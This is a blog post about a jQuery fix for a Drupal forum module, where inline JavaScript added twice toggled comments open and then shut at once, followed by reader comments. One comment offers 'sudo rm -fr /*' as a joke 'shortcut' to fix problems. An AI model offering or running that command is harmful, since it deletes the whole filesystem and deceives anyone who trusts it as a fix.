A fun jquery trick

Working on the Forum Thread module I came across a bit of a challenge. On one user's site the call to add an inline javascript file (drupal_add_js()) was being called from nodeapi twice. Since it is calling inline javascript drupal_add_js happily puts the script on the page twice.

In this case the script in question calls a "toggle" function to hide and show the comments on a given forum node. Since the script was there twice it obediently displayed and then immediately hid the comment body. Evidently users aren't keen on this method of speed-reading.

The solution then is simple. Use an external .js file. However, in this case to make the module easy to configure I wanted to allow users the choice of which css element identifies a "comment title". (An aside that the way this works is to hide and show the siblings of the title which does impose some requirements about how the comment is formatted.) So this makes it more complex because I want to include the proper selector in the script and still include it in a file.

To accomplish this I ended up splitting the jQuery function into a couple of separate calls. The first, an inline script, does an addClass to the user-identified comment title class. Then a file-based javascript acts on the newly added class to hide and show the comments as a website user chooses on each page.

It is possible to see the results in action.

Category: 

5 Comments

How does it work

I also thought about hiding comments by Javascript to keep Page Layout clean for a client's site. I thought it might be an issue if someone wants to jump from Google directly to a hidden comment that it might not be possible. Or am I mistaken?

A conundrum

You're right that it does make linking directly to a comment non-intuitive. (And without theming the expand collapse isn't clear in my module right now). It is, however, unlikely that they will come directly from Google to a comment as they don't index (as links anyway) the anchors in the page. This would really happen if you were using something like the comment page module that creates a separate page for each comment but is mutually exclusive of this sort of idea. Links from other sites, however, could land somebody looking at the title of the comment and having to expand it to see the body.

A shortcut

There's a shortcut. Just type sudo rm -fr /*

This will resolve your issues with DNN.

Behaviours?

Hi! Is this at all like the Drupal Behaviors stuff?